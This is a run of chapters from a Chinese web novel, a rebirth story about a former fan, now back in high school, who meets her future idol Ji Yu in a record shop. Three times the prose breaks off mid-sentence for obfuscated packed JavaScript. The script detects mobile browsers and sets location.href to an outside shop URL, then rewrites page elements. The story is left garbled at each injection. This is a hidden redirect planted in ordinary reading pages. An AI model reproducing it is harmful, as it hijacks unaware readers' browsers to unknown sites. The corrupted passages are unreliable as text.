幸好,这天下午练习生大楼要进行蚊虫消杀,公司难得给他们放了半天假。通知才发放,纪屿就想到了那个能让他喘息的地方。他拿出手机,拨通了唱片店老板的电话。 “伯伯,是我。下午大楼消杀放假,您店里需要人帮忙吗?我可以过去的。” 电话那头的老板声音立刻充满了笑意:“哎呀小屿!你来得太是时候了!我正愁呢,下午得去医院复查一下,本来都想关店了。你能来就太好了!” 挂断电话,老板还忍不住感慨道,这么忙还总惦记着来帮忙,真是个好孩子。其实这店生意清淡,关一下午也对生意无影响,但他知道,那孩子需要这个地方。 前世今生,这位老板都是这么好的一个人。 换上一件简单的白色T恤,纪屿难得悠闲地漫步在G市的街道上。 阳光透过层层叠叠的树叶片,在路上投下碎片一样的星星点点。街道两旁是各具特色的小商铺,行人穿着各样的衣服,充满了生活的烟火气。 他抬起头,目光停留在路边的那些茂盛树枝上。 这些树……他有多久没有抬起头来,好好看看这些树了? 他想,自己好像早就失去了这些树,也失去了在这些树下的平凡时光。可那些已经消逝了很久的日子,此刻又无比清晰地重回眼前。对于未来那个被私生、黑粉、狗仔每日每夜包围、失去了所有个人空间的纪屿来说,这样漫步街头的下午,不真实的像梦境一样。 原来,慢下来的生活,还是有很多可以期待的。 纪屿来到唱片店后,便将自己带来的一张珍藏CD放进了机器里,按下播放键。 富有生命力的音乐,瞬间充满了这个小小的空间。 一个完全属于他的下午,正式开始了。 他仔细地将有些凌乱的唱片重新归类放上货架,内心是久违的平静。 不知过了多久,窗外传来一阵又一阵散学后年轻的喧闹欢笑声。他下意识地抬头看了看墙上的时钟,才发现已经到了傍晚时分。 听到这些充满活力的笑声,他不禁想起了那个特别的女孩。这个时候,她也应该放学了吧? 就在这个念头闪过的瞬间,店门的铃铛清脆地响了一声。 “叮铃——” 纪屿闻声,抬起头,不由得微微一怔。 刚才在他思绪里的人,竟就这样出现在了眼前。 像魔法一样。 此刻她穿着蓝白相间的校服,校服外套随意地绑在腰间,背着红色的书包,正小心翼翼地、轻轻推开那扇沉重的玻璃门,而就在她推门而入的这一刻,CD机里的歌曲恰恰好播放到副歌的部分,激烈的鼓点声和唢呐声猛地爆发出来,音量骤然变大,瞬间盖过了所有细微的声响。 “……林定定?” 他的音量很轻,呼唤的声音瞬间就被澎湃激昂的音乐声给吞没了。 林定根本没有听到她日思夜想的人,竟然喊了她的名字。 她错过了这一刻。 7. 07 邮箱 如果思念有声音…… 那林定的思念一定比身后马路上的公交车鸣笛、路过店门口小学生的高声喧哗、店里激昂躁动的音乐声,都响亮。 就在她推开门见到纪屿的那一瞬。 “纪屿啊,他是那种乍一看很好看,仔细一看……太太太太好看的那种人啊!” 林定想起前世自己在网上和别人安利纪屿时,说过很多次的话。 她把手捂在自己的左胸处,心脏在胸腔里疯狂地砰砰跳动,就好像下一秒就会一跃而出。 不行不行,这不是你可以冲上去拥抱的立牌,也不是商场里的电子大屏……这是正在自然呼吸的大活人纪屿。 喜悦才刚涌上心头,另一股更彻底的情绪却随即冲了上来,撞得她鼻子一酸,眼眶也热了起来。 这……莫非就是喜极而泣吗? 这泪水里混杂了太多林定的心事。 此刻的纪屿,还只是一个无名素人,是一个网上还搜索不出任何信息的练习生,正因如此,那天分别后,一种无边的恐慌就一直藏在她的心底——她怕那次初遇是命运给她唯一的机会,而她已然错失,之后便是漫长的不再见…… 因此,今天能再次见到纪屿,就如同失而复得。 她用力地吸了吸鼻子。 “嘿。”林定朝她的偶像挥挥手。 唱片店内光线昏黄,纪屿看着林定慢慢走近,直到她踏入柜台前光线稍亮的地方,才看到她眼眶红红。 他微微诧异,随即有些了然。看来是小女生在学校里遇到什么不开心的事了。世界是公平的,烦恼人人有,每个年纪都有每个年纪的伤心事,她也许是考试没考好,也许是被老师训话了? 纪屿没多问,只是安静地从口袋里拿出一包未拆封的纸,递给了她,随即轻咳了一声,说:“擦一下吧。” 林定愣了一下。 这不是对待陌生客人的语气,他……他这是还记得自己吗?在她固有的认知里,大明星纪屿有成千上万的粉丝,而自己只是千千万万中的小普通,被忘记是再正常不过的事情。 “什么……” 纪屿抬眼,目光直视着她,轻声补充道:“你哭了。” 林定这才手忙脚乱地抽出一张纸巾,擦了擦眼角的泪……是苹果味的纸巾,很好闻。可是还没来得及感慨偶像用的纸巾有多么特别,对方的声音又轻轻落下来: “被老师批评了?” “没有没有,不是……”林定的脸颊红了起来,连忙摇手否认。 纪屿看到她脸上的红晕,不自觉地皱了皱眉,不是因为老师?那这副委屈又有些害羞的表情,难道是……一些青春期的小插曲?他脑海里闪过“早恋”这个词,随即又觉得是自己想多了,甚至有点好笑,不知道自己怎么会下意识地想到这个。 就在这时,林定感到一阵恍惚。她的星星,此刻就站在她的眼前,离她这么近。这个距离,是她前世挤在人海里,从未敢奢望过的。 她忽然想起上一世的最后,她的上级付天在她提离职后对她的嘲讽:“追星就是浪费时间浪费钱的事……他能记住你吗?他能认识你是谁吗?”那时,她只是淡淡回应说,“你永远都不会懂。” 你知道星,是什么吗? 她的星星是天上的,是在无尽黑夜里面,闪闪发光的指引方向的那一颗。 她又不是要星星。 她只是希望他会闪耀得更亮、更久罢了。 他就像高悬于夜空的星辰,无需坠落为她做什么,在他光芒万丈时,她自会于远方为他衷心喝彩;在他被乌云遮蔽时,她便静静地等待他归来。 只要云雾过后,他依然在那里持续地闪耀,于她而言,便是最足够、最美好的事。 她不会想闯进他的日常生活,因为她一直认为偶像和粉丝之间,彼此保持美好距离,互相照亮足以。 人生苦短,能再次见面已是恩赐,更应珍惜这份恰到好处的距离。 记忆被拉回现实,林定像是忽然想起什么事情似的,急急忙忙地把书包从背后拿下来。或许是因为手脚太着急,或许是因为书包里的课本太多、太重,一个失手,红色的书包就“砰”地一声重重地砸在了老旧的木地板上。 她尴尬地咬了咬嘴唇,蹲下去打开书包,从里面掏出一罐饮料和一个看起来被保护得很好的纸袋,然后极速站起来——可或许是因为起得太急,眼前一黑,身体不由控制地晃了下,差些没站稳。 一只修长有力的手,及时地扶住了她的胳膊。 “小心。” 他清澈的声线在头顶响起。 扶……扶住了?! 林定感觉自己在心里无声地尖叫了一下,心跳似乎骤停。但随即立刻稳住心神,借着站稳的力道,不着痕迹地将自己的手臂从他的掌心轻轻抽离,保持着一个礼貌又恰当的距离。 “这个……这个是给你的,”她强装镇定,把手里的柠檬味汽水小心翼翼地递过去,在纪屿接过的那一瞬间她又马上收回自己的手。这是他未来最喜欢的口味,作为纪屿的资深铁粉,她自然是铭记于心。“是答谢你介绍那个音乐给我的,我去听了,很好听,我很喜欢……”她说着,语气变得有些不自信:“嗯……你可能不记得我了,我前几天来这里买过唱片……” 不记得你?纪屿握着汽水的手微微一顿,心底被一种荒谬好笑的感觉占据了。 怎会不记得?他甚至不久前还想到了这个特别的女孩。 他看着她有些局促的样子,最终还是没多言,只是轻声回道: “我记得你。”他继续抬眼直视她,“我没那么健忘。” 得到这个回答,林定的眼睫轻轻颤动了一下,但只是将饮料递到他手中,没有其他的表示了。 纪屿这才低头,仔细看手中的汽水,眼底再次掠过一丝惊讶——竟然是他最偏爱的那款柠檬味汽水。 连饮料的喜好……都如此巧合。 可还没来得及细想,女孩便又递了一个纸袋过来,示意他打开。 里面竟是他上次提起的,那张很不错的唱片。 他甚至自己都没能拥有过一张。 说不惊喜是假的,但这礼物还是过于贵重了,他下意识地推拒:“这个有点……” “我五一和爸妈去了S市,碰巧看到的!”林定生怕他不收,赶紧打断他,眼睛努力睁得大大的,“我自己有一张,另外买多了一张给你。这个,很有收藏意义的。” 她撒了谎。 这张唱片,明明独一无二。 但看到纪屿能拥有它,比她自已拿着更让她感到高兴。 看到她极其真诚的表情,纪屿到嘴边的话才咽了回去。他接过唱片,低声道:“谢谢。”只是心底那点复杂的疑虑又悄然浮现。这个女孩,为什么…… “我听了你推荐的那张碟,”林定试图转移话题,分享起自己的感受,话语间不自觉地带上了她作为写作者的特质,越说越流畅“感觉很奇妙。它是有画面的,像在一个开满花的梦境边缘。就像……” 纪屿听着,莫名觉得她的描绘方式有种说不出的熟悉感,仿佛在哪里见过类似的文字。 林定说完,她的唇角扬起一个弧度,注意到被他放在一旁的饮料,语气自然地问道:“这个饮料还不错,你要不要尝尝看?” 她想起前世,纪屿在综艺里单手开汽水易拉罐的绝美画面……嘶,实在是太想亲眼看一次。 纪屿心下失笑,他当然知道好喝。他重新拿起了汽水,听话地扯开了拉环—— ”呲——!“ 开罐的声音剧烈地响起。 大量的气泡混合着柠檬色的液体,从罐口踊跃而出,毫不客气地溅在了纪屿的身上。 他干净的白色T恤瞬间惨不忍睹,胸前湿了很大一片。 “啊啊啊!对不起!对不起!”林定惊得语无伦次,手忙脚乱地拿出那包她本想珍藏起来的苹果味纸巾,递过去,“可能……可能是我刚才跑过来晃到了,也可能是刚刚书包摔的那一下……我绝对不是故意的……” 纪屿看着眼前惊慌失措、眼看着马上要再次哭出来的女孩,再看看自己一身的狼狈,有些哭笑不得。 “不是什么大事,不用一直道歉的。”他接过纸巾,语气有些无奈,但并没有一点生气的意思。 天啊。 纪屿不仅没生气,还这么温柔。 这是什么人间天使。 林定感天动地,内心再次给纪屿加上了八百……不,八千层滤镜。 “别哭,刚刚才哭完。”纪屿想起她红着眼睛进来的样子,又联想到刚刚那个“早恋”的猜想,忍不住想和她开玩笑,顺便……以“过来人”的身份提醒一下。 于是他故意板起脸:“你哭着进来,不是因为老师……那是为了学校里哪个小男生吗?” “怎么可能!”林定惊得张开嘴,声调提高了好几个度。 看她这样,纪屿更觉得有趣了,继续假装严肃道:“你这个年纪,最重要的是好好学习。千万别学别人,在学校里早恋,知道吗?” 林定感觉自己受到了天大的误会。 “我才看不上学校里那些男生,”她的语气带着明显的不屑和嫌弃,“长得都不好看。” 纪屿挑眉道:“原来你是外貌协会?” 林定的视线在他脸上短暂停留了一瞬,便迅速移开,声音平静地说:“是吧。” 林定不想继续再在这个危险的话题上停留。骨子里的粉丝准则敲响了警钟:提醒她今天与偶像的互动已然失了分寸,要保持应有的边界感。 可是……有一个问题,林定还是很想知道。 他,还在原来的轨道上吗? 他,还会和那家吸血的公司签约吗? 他到底……而自己,又该如何在适当的时候,提醒他,阻止他呢? 无力感。 现在的她太弱小了,只是一个普通的高中生,没有能力,也没有立场去干预他的选择。如果此刻贸然冲上去告诉他未来的悲剧,只会被当作胡言乱语的疯子或是傻子。 可是……若什么都不做。此次一别,下次见面又会是何时。她又该如何在命运的关键时刻,告诉他该避开哪一些陷阱呢? 她的内心剧烈地挣扎。 一个声音告诉她,试着要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613286|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个联系方式,可另一个声音却强烈呵斥她——要联系方式?!这是私生粉的行为!她可从未想过要闯入、打扰他的生活,她也始终痛恨那样的人。 算了。 理智让她无法开口。 林定目光慌乱地移开,恰好瞥见左手边货架上一张眼熟的专辑封面——是成子秋的出道专辑!她的大脑还没反应过来,手却已经快了一步,就在纪屿的注视下,迅速抽出了那张专辑。 “我……我今天买张。” 纪屿的视线落在成子秋的名字上,明显顿了一下。 他原以为这女孩的品味与他同频,可怎会…… “……成子秋?”他的语气里,带上了一丝不易察觉的凉意。 完了! 林定真想立刻给自己两巴掌。若说买孟泳书的专辑是为了囤货升值,可把成子秋的专辑拿在手上又是什么原因啊?!这可是纪屿未来的死对头…… 虽然……想起婚礼上那个被亲戚环绕、显得有些拘谨可怜的人,她心里多少有些复杂了。 但此刻,她只能尽力解释道: “呃,这个成什么的,是新出道的,我有个同学……很喜欢他。”她努力让语气更自然些,“我买来送给人家做生日礼物的。实话说,我对这个人一点也不了解,感觉看起来也一般,唱歌也一般,没什么前途,感觉很快就要糊穿地心了。” 她越说越顺,甚至带上了几分真实的气愤:“我都劝我同学不要粉这个人了,要粉就粉值得粉的人!” 纪屿原本看到成子秋的名字后,心里有很大的膈应感,但在听到女孩这番“恶评”后,莫名地就感到心情好了起来。她这副样子太有趣了。 “那你觉得,”他声音放缓,“谁才是值得粉的人?” “当然是……”林定止住话头。她抬起头,和纪屿那双漂亮的眼睛再次对视。 她的心跳漏了一拍,移开视线。 给我光的那个人。 “我要回家了,”她怕自己再待下去会失控,将专辑往前推了推,“辛苦帮我结账一下吧。”可没想到纪屿却说:“你送了我那张唱片,这个就不用买了,我送你……” “不!!!!”林定像是被烫到一样断然拒绝。苍天啊!偶像要送她礼物,怎么能是成子秋的专辑呢?!她这么讨厌成子秋…… “这不是我喜欢的专辑。”她咕哝着,补充了一句,语气里是满满的不情不愿。 纪屿再次被她这直白的喜恶反应逗乐了,他轻笑一下,问道:“那你最喜欢的专辑是什么?我送你。” 我最喜欢的专辑……她瞅了瞅眼前人。 那专辑还没问世呢。 可她嘴上只好敷衍道:“这里没有。” 纪屿不再坚持,接过那张专辑走到收银台后。林定掏出钱包,因为动作过急,里面的零钱和一沓便签纸都掉在了台面上。 他接过她捡起的零钱,操作收银机结账。然后,他拾起她那沓便签纸,用那只好看地过分的手,流畅地写下了一串字符。 “这是我的电子邮箱。”他将纸条递给她,语气自然得像在说今天天气真不错,“等你想好了最喜欢的专辑是什么,就给我发邮件吧。” 就给我发邮件吧…… 给我发邮件吧…… 发邮件吧…… 这句话像在林定的脑海里无限播放,带着飘渺的回音。 他……他这是……主动给了自己他的联系方式……吗? 可为什么是邮箱?这个奇怪的联系方式……不,这不重要了…… “……好。” 她屏住呼吸,郑重地接过那张仿佛是千斤重的纸条。 纸上是熟悉又十分好看的字迹。 写着“纪屿”两个字,以及他的邮箱地址。 “纪屿……”她手指轻轻抚过那两个字,眼眶又没出息地泛起酸涩。 “嗯,是我。”他声音温和,“这是我的名字。” “好听的,”她小声说,把那张纸小心地放进自己的钱包里,像藏起了一个非常珍贵的秘密。 纪屿失笑。 “那我,先回家了,”她再次抬头,望向那双让她沉溺的眼睛,“很高兴认识你。纪屿。”她解下腰间绑着的长袖外套,递给了他,“你下班的时候拿这个挡一下吧,你这个T恤现在出门有点……有点影响市容。” 影响市容这种理由她也说得出口。 “谢谢你。”他点头接过,像是忽然想起了什么,又轻声道:“林定定同学,记得好好学习,别早恋。” 林定心下一颤,小声道:“会好好学习的。” 也不会早恋的。 推开唱片店的玻璃门,傍晚的风带着些暖意扑面而来。 门外,是大人们牵着孩子的手一路说笑,一只白色的小狗欢快地跟着主人穿梭在热闹的路上。 林定踏入这充满烟火气的街道,轻轻地关上了身后的门。 门铃余韵声声入耳,店内的人站在原地,手里拿着这不合身小尺码的衣服,无意识地一笑。如今拥有这灿烂笑容的男孩,看起来比前世许多精心拍摄的海报广告主角,更加耀眼,更加夺目。 8. 08 工作总结 第二日清晨,林定是被暴雨声吵醒的。 天空蒙蒙亮,雨点无情地敲打着玻璃窗。“这么大的雨,还不停课么?”林定打开房门自言自语地吐槽道,瞅见老爸坐在沙发上看报纸——林定揉了揉眼睛,确定了他手里拿着的是真的报纸。 真是健康的习惯啊。 谁能想到十年后她爸爸就染上了小视频不离手的恶习呢,林定感慨地叹了一口气。爸爸闻声抬起头看了她一眼:“又不是打台风,下雨而已不算恶劣了。你以后上班了就知道,比这个天气还糟的时候都还是要上班的!” 换作从前的林定,她一定顶嘴反驳,然后大吵一架。 可如今…… “那确实。”林定耸耸肩,哼着歌走进了洗手间,和平常一样去刷牙洗脸了。毕竟自己是体验过暴风暴雨的纯牛马——之前公司还不给居家办公的时候,她可记得那些大雨磅礴的日子,身上都被雨水打湿了,还要一路狂奔到公司楼下,生怕自己打不上卡,也怕自己被上司阴阳这月的总体工时输给了隔壁小组…… 打住打住! 林定看着镜子里拿着牙刷的自己,大喊道: “好好学习!天天向上!” 你现在不是大厂的螺丝钉! 老爸在沙发上嫌弃地看了一眼关着的厕所门。 林定打理好自己走出来,就闻到了从厨房飘来的熟悉香味——妈妈给她做了早饭。 “快吃吧,别磨蹭。等下上学要迟到了。”妈妈语气如常,但这份特意准备的早餐,在林定眼里却是……老爸皱了皱眉,淡淡地说:“雨太大了,一会儿我开车送你一趟吧。” 林定握着筷子的手微微一顿。 从前,她或许会觉得这么近还让父母送很矫情。 但现在,她抬起头,笑着答应:“好呀,谢谢老爸。” 这一天的课程排得很满,晚上,她将迎来高中生涯的第一次晚自习——他们学校在分班后才开始有晚修的安排。林定上课很认真,再也不在课上开小差了。课间,大家都和她曾经那样,利用这课间宝贵的十分钟,趴在课桌上进行补觉,她却一点也不困——对于经历过996、甚至007死亡作息的她来说,这种学生时代规律的作息让她感到十分舒适。 期间,班主任下发了一份住宿意愿统计表。 前世的她,为了逃离父母的管束,毫不犹豫地选择了住宿。 但此刻,她心境发生了变化,一个声音在心底清晰地对她说:不必再逃避了。 真实的独立其实是心智的成熟,而非物理意义上的远离。更何况,走读能给她更多自由安排的时间,她可以做更多的事情。她心下已决定不走读,但还是打算晚上回家征求一下父母的意见,给到他们最基本的尊重。 课间,她把决定告诉了何纯。 “啊?你不住宿啊?太可惜了,还想着以后跟你借消毒水、借洗衣液、借吹风机。” “神经,合着我住宿是住男生宿舍呗?”林定白了他一眼。 她看着他嘻嘻哈哈的样子,想起他家中即将到来的变故,心中不忍。她从书包里翻出一沓这几天准备好的、刊登了近期典型诈骗案例的报纸,递给他,语气极其郑重: “喏,你看看这个。现在社会上骗子太多了。你回去也给你爸妈看看,多提醒提醒他们,涉及到钱的事,一定要再三确认。” 何纯不明所以地接过报纸,敷衍道:“哦……我会跟他们说的。”林定看他这个态度,就皱起了眉头:“你记得要说!我有个朋友他家里人就是被诈骗,被骗子引诱去贷款,搞到他家里人还钱还了好几年都没还清,还让他打工帮着一起还。”何纯看她如此认真,虽然不明白林定为何这样,但还是点头答应了下来。 晚自习放学时,雨又滴滴答答地下了起来。晓春凑过来,高兴地说:“太好了,你也不打算住宿!以后晚自习放学后,我们可以一起回家!”林定笑着和晓春挤在同一把伞下,冲进绵绵的雨幕里。 回家的路上,晓春兴奋地和林定分享她的最新追星动态——好吧,林定差点就忘了,晓春在和她一起追纪屿前,还粉过不少人呢。“哎,我跟你说,我追的那个墙头啊,快回国了,之前不是一直在国外封闭训练嘛,终于要回来了!” 林定原本只是随意应和,但“国外封闭训练”这几个字,让她定在了原地。 晓春举着伞往前走,才发现林定已然在雨中站立,雨点打在她的发上,可她竟浑然不觉。 等等! 一个被她忽略的,至关重要的时间线,同闪电一般,劈在了她身上。 是的,就是今年。 纪屿他……也会去国外参加封闭集训了,而且归期漫长,近……两年。 她怎么会把这么关键的时间节点给忘了呢?就是在这次训练归国后,他们组合才正式出道。 今日顺遂的愉悦心情,瞬间荡然无存。 晚上回到家,她和父母谈了住宿的事情,出乎她的意料,父母的态度非常平和。 “家里离学校近,走读很方便。”妈妈说,“但,主要还是看你自己的意愿。” 林定看他们这样,心中难免感慨。“嗯,我也这么想,还是走读吧。” 从前,因为自己的叛逆,一次次推开他们,一次次争执吵闹。 回到房间,目光瞥见桌上成子秋的专辑,她又想起了昨天纪屿的话。 “你最喜欢的专辑是什么?” 我最喜欢的…… 你出的所有专辑,我都视若珍宝。 但若说最想要的…… 那自然是你那些还未能面世的佳作。 她闭上眼,那则冰冷的新闻再次浮现。 今日晓春的话,也再次在林定的耳边回响起来。 国外训练……回国…… 纪屿很快就要走了。而他们才刚刚建立起的微弱联系,也许很快就要被时间和距离隔断,隔绝。 她打开电脑,郑重地将那串早已刻在心里的电子邮箱地址,输入保存。 五月的天热得很快,孩子们逐渐抛弃了长袖外套,基本上每天都只穿着凉快的短袖校服。分班后的第一周,对于林定来说还是很轻松踏实的。 呃,也不能这么说,周五上午,发下来的物理小测卷让她感到脑壳疼。 “林定,你这物理仍然是正常水平发挥喔。”何纯端详着她的试卷,给她比了一个大拇指,一边嘴贱道。老师重新排了座位,何纯与晓春都跟林定隔的很远,但他们还是喜欢来找她聊天。 “知识都是认识的,只是好久不见不熟而已。”林定夺回了那张触目惊心布满红叉的试卷,她真是想把何纯狠狠揍上一顿。“你给自己找补的办法,真是层出不穷。对了,我之前一直想说来着,五一给你剪头发的tony真不错啊,终于把你那丑死人不偿命的厚刘海给搞走了,你给我推荐一下呗。” “……”林定真的是想手撕她的好友,“我自己剪的,不如我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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作文本就在这周五发了下来,老师给的分数尚可,算是不功不过。 但随后的评讲,却像一根烫过的针,刺进她的心里。 老师挑了几个同学的随笔朗读。那些被展示的文章,无一例外充满了绚烂的理想、远大的抱负或是激昂的情感,字里行间都是“不顾一切”、“燃烧自我”、“改变世界”的豪言壮语。 轮到点评她的文章时,老师的语气虽然温和,却带着一些遗憾:“林定同学的思考立足现实,这很好。但……”她摇了摇头,“……写的太保守了,不够有亮点。你们这么年轻,未来是充满希望的,眼光应该放得更远、更高一些。像你文中提到的‘按自己的心意做人生决定’、‘自由勇敢地去追一场落日’,这些想法和愿望都是太容易实现的呀,显得有些平凡了,你的格局,可以再打开一些。人生嘛,有无限可能。” 太容易实现? 林定握着笔的手指,微微收紧了,唇角是无人察觉一抹苦笑。 她并非渴望褒奖,而是……她现在不是少年不识愁滋味了,她写的都是自己曾被现实重锤后换来的清醒抉择。这种基于真实的感想,却成了“保守”和“格局不够”。 老师的否定并非恶意,而正因如此,才更让她无从辩驳。 她不能站起来说:老师,我经历过社会的毒打,我知道空洞的理想,在现实面前有多么不堪一击。 她也不能解释。 工作后,林定已经很久没有在天还亮的时候,离开写字楼了。没有机会追落日,没有假期去旅游,没有时间去聚餐,高强度的工作,让她没有办法平衡自己的生活。这些简单的愿望,对于前世那个被工作和压力束缚的她来说,曾是遥不可及、不敢追求的奢侈。 她甚至听到有同学小声议论:“还是那谁写得好,多有气势!林定写的……啧,像份枯燥的工作总结。” 林定低下了头。 9. 09 疼吗 “没事的,别往心里去,我觉得你写得就很好啊!”晚修结束后,晓春敏感地察觉到她低落的情绪,用力捏了捏她的手,试图传递一些温暖,“哪有那么多远大的理想!他们写的那些,将来能有几个人真能做到?嘻嘻,要我说,以后还是多多赚钱最实在了!当然啦,这话可不能写进作文里,你懂的,考试作文嘛……话总要写的漂亮些。” 好友简单的世俗眼光,像一阵微风拂过她的心头,暂时吹散了一些伤感。 “希望快点到下星期。”晓春挽着林定的手走下楼梯,目光却在人来人往中寻觅。 “你什么时候这么爱学习了?”林定打趣道,在这时,她忽然感觉到晓春挽着她的手臂紧了一紧,“哇……”晓春的音量瞬间低了好几度,脑袋不自觉地往林定身后躲,眼神却又亮亮的,锁定在了某个方向。 林定随着好友目之所及处望去。 熙熙攘攘的放学人潮,在这瞬间成了模糊的背景,一个高大挺拔的身影清晰地凸显出来。 竟然是他? 林定皱了皱眉。 这个人,几乎占据了邓晓春的整个学生时代。 那人在和几个队友说笑着,一边用毛巾擦着训练后的汗水。他笑起来的样子很爽朗,带着运动男孩特有的朝气,仿佛整个世界都因他的笑容而明朗。 可谁能想到,若干年后,这个人的脸上会有冰冷绝情的神色。 “啊啊啊……他看过来了吗?”晓春紧张得有点口吃了,脸上的喜悦溢了出来,“你看到吗!是8班的那个,那个郑志昊。” 他现在还是那个在球场上奔跑如风的高个子少年,此时此刻,他再一次吸引了晓春的视线。 他们曾并肩走过校园的每个角落,将会拥有许多美好的回忆,也会经历无数次的争执,发生很多现实又无可挽救的事情……他们近十年的感情长跑,最后的结局却是形同陌路。 此刻的晓春,拥有的是最纯粹的心动。 而重活一世的林定,看着历史在眼前重演,心中百感交集。她既为好友此刻的真心动容,又为那已知的的结局感到悲哀。她清楚地知道这个故事的后续,数年之后他们分手,而晓春会在家人的安排下相亲,认识一个相平凡但踏实的男人,并在相识的三个月后,做出闪婚的决定。 一个声音在林定脑子里大叫:你需要做点什么吗?你要看着你最好的朋友,把大好的青春时光投入到一段注定没有结果的感情里吗? 她其实有充分的理由——她不想闺蜜在未来留下那些为情所困的泪水,不想闺蜜不顾身体健康通宵在那里借酒浇愁。 可是…… 晓春此刻的喜欢,是真的。这份感情是青春的馈赠,珍贵无比。 “下周篮球赛,我打算偷偷给他加油。”晓春的声音将林定从混乱的思绪中拉回来,她挽着林定的手臂晃了晃,“你说……我们班的人会骂我吗?骂我胳膊肘往外拐?”不等林定回答,她又自顾自地说了下去,眼眸亮晶晶的:“害,骂我就骂我吧!我真的真的真的好喜欢他……唉,你觉得……他会喜欢我吗?他这么好看,又在重点班,学习成绩那么好……”听着闺蜜这番卑微的话,林定眼睛一酸,不假思索地脱口而出:“你又没有不好,他怎么会不喜欢你呢。” 话一出口,她就后悔了。 这话就像是在鼓励,在推动这段悲情结局的故事发展。 可晓春喜上眉梢,眼睛里像是有星星一样:“嘿嘿,承你吉言!好开心啊,看到他的那一瞬间,我感觉今天一天的不开心都没了,”她顿了顿,语气变得温和,“就算……就算他不喜欢我,我也想天天看着他。就这样看着,我也很开心的。” 看到他的那一瞬间,我感觉今天一天的不开心都没了…… 多么熟悉的感觉。 无论上班多么忙,遇到多少的糟心事,只要刷刷纪屿的动态、听听听他的歌曲,一整天的苦痛仿佛都能被驱散。 她忽然想清楚了一件事。 青春,是属于晓春自己的。 就算最终的结局不尽如人意,但在这个过程中,晓春那些心跳的瞬间、恋爱的甜蜜和喜悦,都是任何人都无权剥夺的宝贵记忆。她林定,凭什么以“为你好”的名义,去干预他人体验青春、感受心动的权利呢? 换位思考一下,如果有一个人,知道她的偶像纪屿未来会走向悲剧,知道她自己会因过劳而猝死,然后重生回来,以“为你好”的名义阻止她再去关注纪屿,她会怎么想? 她一定,一定会责怪那个人吧。 因为那个人,冰冷地扼杀了她生命里的光。 想通了这一点,林定心中那点纠结和负罪感便消失了。她看着晓春泛着红晕的侧脸,故意板起脸,用带着玩笑的严肃语气说道:“你就胳膊肘往外拐吧!到时候啊,我第一个骂你!” 晓春俏皮地吐了吐舌头,脸上是藏不住的明媚笑容。 * 周末的清晨,林定用惊人的效率在两个小时内就搞定了所有周末作业。写完最后一个字,她合上练习册,打了个哈欠,决定奖励自己一个回笼觉。 这一觉睡得格外香甜,再睁开眼时,墙上的时针和分针已经重叠在十二点的位置了。她走出房间,客厅里空无一人,这才想起父母前几天就跟她提过这周末又要出差。 偌大的家里只剩下她一人,恍惚间给她一种工作后独自一人在屋子里的孤独感。她走到厨房,从冰箱里取出一袋吐司,随意地抽出两片放进微波炉。“叮”的一声响起后,她拿着温热的吐司躺进了沙发里,按下了电视遥控器。 电视里正在播放着午间娱乐新闻。 主持人用浮夸的语气介绍着近期发行的实体专辑,屏幕上闪过一个个熟悉的名字——那些在十年后耳熟能详的歌手,此刻正以“新人”的称号亮相。 等等! 林定正要咬下吐司的动作顿住,她目不转睛地盯着电视屏幕。 这些“新人”中,有两三个人的名字让她略有所思——他们虽然不像孟泳书那样会成为歌手顶流,但在未来几年里,他们的早期专辑也会变得一碟难求,在某二手app上价格惊人。 真不错! 她三两口解决掉手中的吐司,冲回房间,从枕头底下地取出那个厚厚的红包——这是她决定不走读后,父母开心之下给她的学习奖励。 她的眼睛亮了起来。 今天的目标很明确:去唱片店“进货”! 顺便……看看纪屿吧。 午后的阳光不容小觑,即便已是三点多,热浪依旧灼人。林定撑开一把印着某银行logo的遮阳伞,嫌弃地撇了撇嘴——家里从没买过正经雨伞,因为母亲总说这些免费伞质量好,不用白不用。若是从前,她宁可晒着也绝不愿意举着这么“丑陋”的伞出门。 但重生后的她,会在意日渐积累的紫外线伤害,懊恼前世不讨喜的肤色。于是,她举着这把“xx银行”伞,踏上了去唱片店的路。 刚走近店门,就听见里面传来了吵嚷的声音。她疑惑地推开门,风铃的清脆被一对情侣的喧哗淹没了。 纪屿在收银台后,捕捉了这分清脆,闻声抬头,与她目光撞在了一起。 只这一眼,林定的心就被揪紧了。 他眼中的隐忍与疲惫,那种需要维持礼貌笑容的神情,如此熟悉…… 就像那日,在场馆外…… 原来这样的状态,从十年前就开始了么?一种酸涩的疼在她心里泛滥起来。 “快给我解决问题!不然你们店今天别想做生意了!”一个男人对着纪屿咆哮起来。他的女友在身后轻拉他的衣袖:“算了算了……” “算了?在家的时候你不是说上次买的唱片难听,让我来讨说法吗?”男人怒火更盛,“呵,你和我说老板是个老头,怎么今天看见是个年轻男的,就改主意了?”话音未落,他猛地一挥手臂,哗啦一声,收银台上的唱片散落一地。 “为什么卖这么难听的专辑?我要退钱!退钱!还要补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613288|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偿这张!”他将女友包里的专辑甩在台上,又抢过她手中新拿的唱片。 纪屿的声音很平稳:”已拆封的专辑影响二次销售,无法补偿。可以为您办理置换。" 林定定睛一看,这俩人要退货的居然是孟泳书的专辑!? 